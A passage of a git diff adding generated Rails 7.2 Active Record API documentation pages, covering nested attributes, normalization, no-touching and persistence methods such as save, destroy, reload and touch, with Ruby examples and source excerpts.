+    attributes['title'].blank?
+  end
+end
+
+ +

If the hash contains an id key that matches an already associated record, the matching record will be modified:

+ +
member.attributes = {
+  name: 'Joe',
+  posts_attributes: [
+    { id: 1, title: '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
+    { id: 2, title: '[UPDATED] other post' }
+  ]
+}
+
+member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
+member.posts.second.title # => '[UPDATED] other post'
+
+ +

However, the above applies if the parent model is being updated as well. For example, if you wanted to create a member named joe and wanted to update the posts at the same time, that would give an ActiveRecord::RecordNotFound error.

+ +

By default the associated records are protected from being destroyed. If you want to destroy any of the associated records through the attributes hash, you have to enable it first using the :allow_destroy option. This will allow you to also use the _destroy key to destroy existing records:

+ +
class Member < ActiveRecord::Base
+  has_many :posts
+  accepts_nested_attributes_for :posts, allow_destroy: true
+end
+
+params = { member: {
+  posts_attributes: [{ id: '2', _destroy: '1' }]
+}}
+
+member.attributes = params[:member]
+member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
+member.posts.length # => 2
+member.save
+member.reload.posts.length # => 1
+
+ +

Nested attributes for an associated collection can also be passed in the form of a hash of hashes instead of an array of hashes:

+ +
Member.create(
+  name: 'joe',
+  posts_attributes: {
+    first:  { title: 'Foo' },
+    second: { title: 'Bar' }
+  }
+)
+
+ +

has the same effect as

+ +
Member.create(
+  name: 'joe',
+  posts_attributes: [
+    { title: 'Foo' },
+    { title: 'Bar' }
+  ]
+)
+
+ +

The keys of the hash which is the value for :posts_attributes are ignored in this case. However, it is not allowed to use 'id' or :id for one of such keys, otherwise the hash will be wrapped in an array and interpreted as an attribute hash for a single post.

+ +

Passing attributes for an associated collection in the form of a hash of hashes can be used with hashes generated from HTTP/HTML parameters, where there may be no natural way to submit an array of hashes.

+ +

Saving

+ +

All changes to models, including the destruction of those marked for destruction, are saved and destroyed automatically and atomically when the parent model is saved. This happens inside the transaction initiated by the parent’s save method. See ActiveRecord::AutosaveAssociation.

+ +

Validating the presence of a parent model

+ +

The belongs_to association validates the presence of the parent model by default. You can disable this behavior by specifying optional: true. This can be used, for example, when conditionally validating the presence of the parent model:

+ +
class Veterinarian < ActiveRecord::Base
+  has_many :patients, inverse_of: :veterinarian
+  accepts_nested_attributes_for :patients
+end
+
+class Patient < ActiveRecord::Base
+  belongs_to :veterinarian, inverse_of: :patients, optional: true
+  validates :veterinarian, presence: true, unless: -> { awaiting_intake }
+end
+
+ +

Note that if you do not specify the :inverse_of option, then Active Record will try to automatically guess the inverse association based on heuristics.

+ +

For one-to-one nested associations, if you build the new (in-memory) child object yourself before assignment, then this module will not overwrite it, e.g.:

+ +
class Member < ActiveRecord::Base
+  has_one :avatar
+  accepts_nested_attributes_for :avatar
+
+  def avatar
+    super || build_avatar(width: 200)
+  end
+end
+
+member = Member.new
+member.avatar_attributes = {icon: 'sad'}
+member.avatar.width # => 200
+
+ +

Creating forms with nested attributes

+ +

Use ActionView::Helpers::FormHelper#fields_for to create form elements for nested attributes.

+ +

Integration test params should reflect the structure of the form. For example:

+ +
post members_path, params: {
+  member: {
+    name: 'joe',
+    posts_attributes: {
+      '0' => { title: 'Foo' },
+      '1' => { title: 'Bar' }
+    }
+  }
+}
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
REJECT_ALL_BLANK_PROC=proc { |attributes| attributes.all? { |key, value| key == "_destroy" || value.blank? } }
+ + + + + + + +

Instance Public methods

+ +
+

+ + accepts_nested_attributes_for(*attr_names) + +

+ + +
+

Defines an attributes writer for the specified association(s).

+ +

Supported options:

+
:allow_destroy +
+

If true, destroys any members from the attributes hash with a _destroy key and a value that evaluates to true (e.g. 1, β€˜1’, true, or β€˜true’). This option is false by default.

+
:reject_if +
+

Allows you to specify a Proc or a Symbol pointing to a method that checks whether a record should be built for a certain attribute hash. The hash is passed to the supplied Proc or the method and it should return either true or false. When no :reject_if is specified, a record will be built for all attribute hashes that do not have a _destroy value that evaluates to true. Passing :all_blank instead of a Proc will create a proc that will reject a record where all the attributes are blank excluding any value for _destroy.

+
:limit +
+

Allows you to specify the maximum number of associated records that can be processed with the nested attributes. Limit also can be specified as a Proc or a Symbol pointing to a method that should return a number. If the size of the nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords exception is raised. If omitted, any number of associations can be processed. Note that the :limit option is only applicable to one-to-many associations.

+
:update_only +
+

For a one-to-one association, this option allows you to specify how nested attributes are going to be used when an associated record already exists. In general, an existing record may either be updated with the new set of attribute values or be replaced by a wholly new record containing those values. By default the :update_only option is false and the nested attributes are used to update the existing record only if they include the record’s :id value. Otherwise a new record will be instantiated and used to replace the existing one. However if the :update_only option is true, the nested attributes are used to update the record’s attributes always, regardless of whether the :id is present. The option is ignored for collection associations.

+
+ +

Examples:

+ +
# creates avatar_attributes=
+accepts_nested_attributes_for :avatar, reject_if: proc { |attributes| attributes['name'].blank? }
+# creates avatar_attributes=
+accepts_nested_attributes_for :avatar, reject_if: :all_blank
+# creates avatar_attributes= and posts_attributes=
+accepts_nested_attributes_for :avatar, :posts, allow_destroy: true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/nested_attributes.rb, line 351
+      def accepts_nested_attributes_for(*attr_names)
+        options = { allow_destroy: false, update_only: false }
+        options.update(attr_names.extract_options!)
+        options.assert_valid_keys(:allow_destroy, :reject_if, :limit, :update_only)
+        options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
+
+        attr_names.each do |association_name|
+          if reflection = _reflect_on_association(association_name)
+            reflection.autosave = true
+            define_autosave_validation_callbacks(reflection)
+
+            nested_attributes_options = self.nested_attributes_options.dup
+            nested_attributes_options[association_name.to_sym] = options
+            self.nested_attributes_options = nested_attributes_options
+
+            type = (reflection.collection? ? :collection : :one_to_one)
+            generate_association_writer(association_name, type)
+          else
+            raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NestedAttributes/TooManyRecords.html b/src/7.2/classes/ActiveRecord/NestedAttributes/TooManyRecords.html new file mode 100644 index 0000000000..a8b0bcdf5b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NestedAttributes/TooManyRecords.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::NestedAttributes::TooManyRecords +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NoDatabaseError.html b/src/7.2/classes/ActiveRecord/NoDatabaseError.html new file mode 100644 index 0000000000..4efbacdc5a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NoDatabaseError.html @@ -0,0 +1,176 @@ +--- +title: ActiveRecord::NoDatabaseError +layout: default +--- +
+ +
+
+ +
+ +

Raised when a given database does not exist.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + db_error(db_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 327
+      def db_error(db_name)
+        NoDatabaseError.new(<<~MSG)
+          We could not find your database: #{db_name}. Available database configurations can be found in config/database.yml.
+
+          To resolve this error:
+
+          - Did you not create the database, or did you delete it? To create the database, run:
+
+              bin/rails db:create
+
+          - Has the database name changed? Verify that config/database.yml contains the correct database name.
+        MSG
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(message = nil, connection_pool: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 322
+    def initialize(message = nil, connection_pool: nil)
+      super(message || "Database not found", connection_pool: connection_pool)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NoTouching.html b/src/7.2/classes/ActiveRecord/NoTouching.html new file mode 100644 index 0000000000..9c58dd5450 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NoTouching.html @@ -0,0 +1,126 @@ +--- +title: ActiveRecord::NoTouching +layout: default +--- +
+ +
+
+ +
+ +

Active Record No Touching

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + no_touching?() + +

+ + +
+

Returns true if the class has no_touching set, false otherwise.

+ +
Project.no_touching do
+  Project.first.no_touching? # true
+  Message.first.no_touching? # false
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/no_touching.rb, line 53
+    def no_touching?
+      NoTouching.applied_to?(self.class)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NoTouching/ClassMethods.html b/src/7.2/classes/ActiveRecord/NoTouching/ClassMethods.html new file mode 100644 index 0000000000..5ac46e282a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NoTouching/ClassMethods.html @@ -0,0 +1,114 @@ +--- +title: ActiveRecord::NoTouching::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + no_touching(&block) + +

+ + +
+

Lets you selectively disable calls to touch for the duration of a block.

+ +

Examples

+ +
ActiveRecord::Base.no_touching do
+  Project.first.touch  # does nothing
+  Message.first.touch  # does nothing
+end
+
+Project.no_touching do
+  Project.first.touch  # does nothing
+  Message.first.touch  # works, but does not touch the associated project
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/no_touching.rb, line 23
+      def no_touching(&block)
+        NoTouching.apply_to(self, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Normalization.html b/src/7.2/classes/ActiveRecord/Normalization.html new file mode 100644 index 0000000000..489dec4e0b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Normalization.html @@ -0,0 +1,128 @@ +--- +title: ActiveRecord::Normalization +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + normalize_attribute(name) + +

+ + +
+

Normalizes a specified attribute using its declared normalizations.

+ +

Examples

+ +
class User < ActiveRecord::Base
+  normalizes :email, with: -> email { email.strip.downcase }
+end
+
+legacy_user = User.find(1)
+legacy_user.email # => " CRUISE-CONTROL@EXAMPLE.COM\n"
+legacy_user.normalize_attribute(:email)
+legacy_user.email # => "cruise-control@example.com"
+legacy_user.save
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/normalization.rb, line 26
+    def normalize_attribute(name)
+      # Treat the value as a new, unnormalized value.
+      self[name] = self[name]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Normalization/ClassMethods.html b/src/7.2/classes/ActiveRecord/Normalization/ClassMethods.html new file mode 100644 index 0000000000..379bfb1bf9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Normalization/ClassMethods.html @@ -0,0 +1,192 @@ +--- +title: ActiveRecord::Normalization::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + normalize_value_for(name, value) + +

+ + +
+

Normalizes a given value using normalizations declared for name.

+ +

Examples

+ +
class User < ActiveRecord::Base
+  normalizes :email, with: -> email { email.strip.downcase }
+end
+
+User.normalize_value_for(:email, " CRUISE-CONTROL@EXAMPLE.COM\n")
+# => "cruise-control@example.com"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/normalization.rb, line 106
+      def normalize_value_for(name, value)
+        type_for_attribute(name).cast(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + normalizes(*names, with:, apply_to_nil: false) + +

+ + +
+

Declares a normalization for one or more attributes. The normalization is applied when the attribute is assigned or updated, and the normalized value will be persisted to the database. The normalization is also applied to the corresponding keyword argument of query methods. This allows a record to be created and later queried using unnormalized values.

+ +

However, to prevent confusion, the normalization will not be applied when the attribute is fetched from the database. This means that if a record was persisted before the normalization was declared, the record’s attribute will not be normalized until either it is assigned a new value, or it is explicitly migrated via Normalization#normalize_attribute.

+ +

Because the normalization may be applied multiple times, it should be idempotent. In other words, applying the normalization more than once should have the same result as applying it only once.

+ +

By default, the normalization will not be applied to nil values. This behavior can be changed with the :apply_to_nil option.

+ +

Be aware that if your app was created before Rails 7.1, and your app marshals instances of the targeted model (for example, when caching), then you should set ActiveRecord.marshalling_format_version to 7.1 or higher via either config.load_defaults 7.1 or config.active_record.marshalling_format_version = 7.1. Otherwise, Marshal may attempt to serialize the normalization Proc and raise TypeError.

+ +

Options

+
  • +

    :with - Any callable object that accepts the attribute’s value as its sole argument, and returns it normalized.

    +
  • +

    :apply_to_nil - Whether to apply the normalization to nil values. Defaults to false.

    +
+ +

Examples

+ +
class User < ActiveRecord::Base
+  normalizes :email, with: -> email { email.strip.downcase }
+  normalizes :phone, with: -> phone { phone.delete("^0-9").delete_prefix("1") }
+end
+
+user = User.create(email: " CRUISE-CONTROL@EXAMPLE.COM\n")
+user.email                  # => "cruise-control@example.com"
+
+user = User.find_by(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")
+user.email                  # => "cruise-control@example.com"
+user.email_before_type_cast # => "cruise-control@example.com"
+
+User.where(email: "\tCRUISE-CONTROL@EXAMPLE.COM ").count         # => 1
+User.where(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]).count # => 0
+
+User.exists?(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")         # => true
+User.exists?(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]) # => false
+
+User.normalize_value_for(:phone, "+1 (555) 867-5309") # => "5558675309"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/normalization.rb, line 88
+      def normalizes(*names, with:, apply_to_nil: false)
+        decorate_attributes(names) do |name, cast_type|
+          NormalizedValueType.new(cast_type: cast_type, normalizer: with, normalize_nil: apply_to_nil)
+        end
+
+        self.normalized_attributes += names.map(&:to_sym)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NotNullViolation.html b/src/7.2/classes/ActiveRecord/NotNullViolation.html new file mode 100644 index 0000000000..8a4135a234 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NotNullViolation.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::NotNullViolation +layout: default +--- +
+ +
+
+ +
+ +

Raised when a record cannot be inserted or updated because it would violate a not null constraint.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Persistence.html b/src/7.2/classes/ActiveRecord/Persistence.html new file mode 100644 index 0000000000..b4b60bf1c7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Persistence.html @@ -0,0 +1,1359 @@ +--- +title: ActiveRecord::Persistence +layout: default +--- +
+ +
+
+ +
+ +

Active Record Persistence

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + becomes(klass) + +

+ + +
+

Returns an instance of the specified klass with the attributes of the current record. This is mostly useful in relation to single table inheritance (STI) structures where you want a subclass to appear as the superclass. This can be used along with record identification in Action Pack to allow, say, Client < Company to do something like render partial: @client.becomes(Company) to render that instance using the companies/company partial instead of clients/client.

+ +

Note: The new instance will share a link to the same attributes as the original class. Therefore the STI column value will still be the same. Any change to the attributes on either instance will affect both instances. This includes any attribute initialization done by the new instance.

+ +

If you want to change the STI column as well, use becomes! instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 489
+    def becomes(klass)
+      became = klass.allocate
+
+      became.send(:initialize) do |becoming|
+        @attributes.reverse_merge!(becoming.instance_variable_get(:@attributes))
+        becoming.instance_variable_set(:@attributes, @attributes)
+        becoming.instance_variable_set(:@mutations_from_database, @mutations_from_database ||= nil)
+        becoming.instance_variable_set(:@new_record, new_record?)
+        becoming.instance_variable_set(:@destroyed, destroyed?)
+        becoming.errors.copy!(errors)
+      end
+
+      became
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + becomes!(klass) + +

+ + +
+

Wrapper around becomes that also changes the instance’s STI column value. This is especially useful if you want to persist the changed class in your database.

+ +

Note: The old instance’s STI column value will be changed too, as both objects share the same set of attributes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 510
+    def becomes!(klass)
+      became = becomes(klass)
+      sti_type = nil
+      if !klass.descends_from_active_record?
+        sti_type = klass.sti_name
+      end
+      became.public_send("#{klass.inheritance_column}=", sti_type)
+      became
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(attribute, by = 1) + +

+ + +
+

Initializes attribute to zero if nil and subtracts the value passed as by (default is 1). The decrement is performed directly on the underlying attribute, no setter is invoked. Only makes sense for number-based attributes. Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 657
+    def decrement(attribute, by = 1)
+      increment(attribute, -by)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement!(attribute, by = 1, touch: nil) + +

+ + +
+

Wrapper around decrement that writes the update to the database. Only attribute is updated; the record itself is not saved. This means that any other modified attributes will still be dirty. Validations and callbacks are skipped. Supports the touch option from update_counters, see that for more. Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 667
+    def decrement!(attribute, by = 1, touch: nil)
+      increment!(attribute, -by, touch: touch)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete() + +

+ + +
+

Deletes the record in the database and freezes this instance to reflect that no changes should be made (since they can’t be persisted). Returns the frozen instance.

+ +

The row is simply removed with an SQL DELETE statement on the record’s primary key, and no callbacks are executed.

+ +

Note that this will also delete records marked as #readonly?.

+ +

To enforce the object’s before_destroy and after_destroy callbacks or any :dependent association options, use destroy.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 441
+    def delete
+      _delete_row if persisted?
+      @destroyed = true
+      @previously_new_record = false
+      freeze
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy() + +

+ + +
+

Deletes the record in the database and freezes this instance to reflect that no changes should be made (since they can’t be persisted).

+ +

There’s a series of callbacks associated with destroy. If the before_destroy callback throws :abort the action is cancelled and destroy returns false. See ActiveRecord::Callbacks for further details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 455
+    def destroy
+      _raise_readonly_record_error if readonly?
+      destroy_associations
+      @_trigger_destroy_callback ||= persisted? && destroy_row > 0
+      @destroyed = true
+      @previously_new_record = false
+      freeze
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy!() + +

+ + +
+

Deletes the record in the database and freezes this instance to reflect that no changes should be made (since they can’t be persisted).

+ +

There’s a series of callbacks associated with destroy!. If the before_destroy callback throws :abort the action is cancelled and destroy! raises ActiveRecord::RecordNotDestroyed. See ActiveRecord::Callbacks for further details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 471
+    def destroy!
+      destroy || _raise_record_not_destroyed
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroyed?() + +

+ + +
+

Returns true if this object has been destroyed, otherwise returns false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 357
+    def destroyed?
+      @destroyed
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(attribute, by = 1) + +

+ + +
+

Initializes attribute to zero if nil and adds the value passed as by (default is 1). The increment is performed directly on the underlying attribute, no setter is invoked. Only makes sense for number-based attributes. Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 634
+    def increment(attribute, by = 1)
+      self[attribute] ||= 0
+      self[attribute] += by
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment!(attribute, by = 1, touch: nil) + +

+ + +
+

Wrapper around increment that writes the update to the database. Only attribute is updated; the record itself is not saved. This means that any other modified attributes will still be dirty. Validations and callbacks are skipped. Supports the touch option from update_counters, see that for more. Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 646
+    def increment!(attribute, by = 1, touch: nil)
+      increment(attribute, by)
+      change = public_send(attribute) - (public_send(:"#{attribute}_in_database") || 0)
+      self.class.update_counters(id, attribute => change, touch: touch)
+      public_send(:"clear_#{attribute}_change")
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new_record?() + +

+ + +
+

Returns true if this object hasn’t been saved yet – that is, a record for the object doesn’t exist in the database yet; otherwise, returns false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 340
+    def new_record?
+      @new_record
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + persisted?() + +

+ + +
+

Returns true if the record is persisted, i.e. it’s not a new record and it was not destroyed, otherwise returns false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 363
+    def persisted?
+      !(@new_record || @destroyed)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + previously_new_record?() + +

+ + +
+

Returns true if this object was just created – that is, prior to the last update or delete, the object didn’t exist in the database and new_record? would have returned true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 347
+    def previously_new_record?
+      @previously_new_record
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + previously_persisted?() + +

+ + +
+

Returns true if this object was previously persisted but now it has been deleted.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 352
+    def previously_persisted?
+      !new_record? && destroyed?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload(options = nil) + +

+ + +
+

Reloads the record from the database.

+ +

This method finds the record by its primary key (which could be assigned manually) and modifies the receiver in-place:

+ +
account = Account.new
+# => #<Account id: nil, email: nil>
+account.id = 1
+account.reload
+# Account Load (1.2ms)  SELECT "accounts".* FROM "accounts" WHERE "accounts"."id" = $1 LIMIT 1  [["id", 1]]
+# => #<Account id: 1, email: 'account@example.com'>
+
+ +

Attributes are reloaded from the database, and caches busted, in particular the associations cache and the QueryCache.

+ +

If the record no longer exists in the database ActiveRecord::RecordNotFound is raised. Otherwise, in addition to the in-place modification the method returns self for convenience.

+ +

The optional :lock flag option allows you to lock the reloaded record:

+ +
reload(lock: true) # reload with pessimistic locking
+
+ +

Reloading is commonly used in test suites to test something is actually written to the database, or when some action modifies the corresponding row in the database but not the object in memory:

+ +
assert account.deposit!(25)
+assert_equal 25, account.credit        # check it is updated in memory
+assert_equal 25, account.reload.credit # check it is also persisted
+
+ +

Another common use case is optimistic locking handling:

+ +
def with_optimistic_retry
+  begin
+    yield
+  rescue ActiveRecord::StaleObjectError
+    begin
+      # Reload lock_version in particular.
+      reload
+    rescue ActiveRecord::RecordNotFound
+      # If the record is gone there is nothing to do.
+    else
+      retry
+    end
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 744
+    def reload(options = nil)
+      self.class.connection_pool.clear_query_cache
+
+      fresh_object = if apply_scoping?(options)
+        _find_record((options || {}).merge(all_queries: true))
+      else
+        self.class.unscoped { _find_record(options) }
+      end
+
+      @association_cache = fresh_object.instance_variable_get(:@association_cache)
+      @association_cache.each_value { |association| association.owner = self }
+      @attributes = fresh_object.instance_variable_get(:@attributes)
+      @new_record = false
+      @previously_new_record = false
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + save(**options) + + +

+ + +
+

Saves the model.

+ +

If the model is new, a record gets created in the database, otherwise the existing record gets updated.

+ +

By default, save always runs validations. If any of them fail the action is cancelled and save returns false, and the record won’t be saved. However, if you supply validate: false, validations are bypassed altogether. See ActiveRecord::Validations for more information.

+ +

By default, save also sets the updated_at/updated_on attributes to the current time. However, if you supply touch: false, these timestamps will not be updated.

+ +

There’s a series of callbacks associated with save. If any of the before_* callbacks throws :abort the action is cancelled and save returns false. See ActiveRecord::Callbacks for further details.

+ +

Attributes marked as readonly are silently ignored if the record is being updated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 392
+    def save(**options, &block)
+      create_or_update(**options, &block)
+    rescue ActiveRecord::RecordInvalid
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + save!(**options) + + +

+ + +
+

Saves the model.

+ +

If the model is new, a record gets created in the database, otherwise the existing record gets updated.

+ +

By default, save! always runs validations. If any of them fail ActiveRecord::RecordInvalid gets raised, and the record won’t be saved. However, if you supply validate: false, validations are bypassed altogether. See ActiveRecord::Validations for more information.

+ +

By default, save! also sets the updated_at/updated_on attributes to the current time. However, if you supply touch: false, these timestamps will not be updated.

+ +

There’s a series of callbacks associated with save!. If any of the before_* callbacks throws :abort the action is cancelled and save! raises ActiveRecord::RecordNotSaved. See ActiveRecord::Callbacks for further details.

+ +

Attributes marked as readonly are silently ignored if the record is being updated.

+ +

Unless an error is raised, returns true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 425
+    def save!(**options, &block)
+      create_or_update(**options, &block) || raise(RecordNotSaved.new("Failed to save the record", self))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + toggle(attribute) + +

+ + +
+

Assigns to attribute the boolean opposite of attribute?. So if the predicate returns true the attribute will become false. This method toggles directly the underlying value without calling any setter. Returns self.

+ +

Example:

+ +
user = User.first
+user.banned? # => false
+user.toggle(:banned)
+user.banned? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 683
+    def toggle(attribute)
+      self[attribute] = !public_send("#{attribute}?")
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + toggle!(attribute) + +

+ + +
+

Wrapper around toggle that saves the record. This method differs from its non-bang version in the sense that it passes through the attribute setter. Saving is not subjected to validation checks. Returns true if the record could be saved.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 692
+    def toggle!(attribute)
+      toggle(attribute).update_attribute(attribute, self[attribute])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + touch(*names, time: nil) + +

+ + +
+

Saves the record with the updated_at/on attributes set to the current time or the time specified. Please note that no validation is performed and only the after_touch, after_commit and after_rollback callbacks are executed.

+ +

This method can be passed attribute names and an optional time argument. If attribute names are passed, they are updated along with updated_at/on attributes. If no time argument is passed, the current time is used as default.

+ +
product.touch                         # updates updated_at/on with current time
+product.touch(time: Time.new(2015, 2, 16, 0, 0, 0)) # updates updated_at/on with specified time
+product.touch(:designed_at)           # updates the designed_at attribute and updated_at/on
+product.touch(:started_at, :ended_at) # updates started_at, ended_at and updated_at/on attributes
+
+ +

If used along with belongs_to then touch will invoke touch method on associated object.

+ +
class Brake < ActiveRecord::Base
+  belongs_to :car, touch: true
+end
+
+class Car < ActiveRecord::Base
+  belongs_to :corporation, touch: true
+end
+
+# triggers @brake.car.touch and @brake.car.corporation.touch
+@brake.touch
+
+ +

Note that touch must be used on a persisted object, or else an ActiveRecordError will be thrown. For example:

+ +
ball = Ball.new
+ball.touch(:updated_at)   # => raises ActiveRecordError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 795
+    def touch(*names, time: nil)
+      _raise_record_not_touched_error unless persisted?
+      _raise_readonly_record_error if readonly?
+
+      attribute_names = timestamp_attributes_for_update_in_model
+      attribute_names = (attribute_names | names).map! do |name|
+        name = name.to_s
+        name = self.class.attribute_aliases[name] || name
+        verify_readonly_attribute(name)
+        name
+      end
+
+      unless attribute_names.empty?
+        affected_rows = _touch_row(attribute_names, time)
+        @_trigger_update_callback = affected_rows == 1
+      else
+        true
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update(attributes) + +

+ + +
+

Updates the attributes of the model from the passed-in hash and saves the record, all wrapped in a transaction. If the object is invalid, the saving will fail and false will be returned.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 565
+    def update(attributes)
+      # The following transaction covers any possible database side-effects of the
+      # attributes assignment. For example, setting the IDs of a child collection.
+      with_transaction_returning_status do
+        assign_attributes(attributes)
+        save
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update!(attributes) + +

+ + +
+

Updates its receiver just like update but calls save! instead of save, so an exception is raised if the record is invalid and saving will fail.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 576
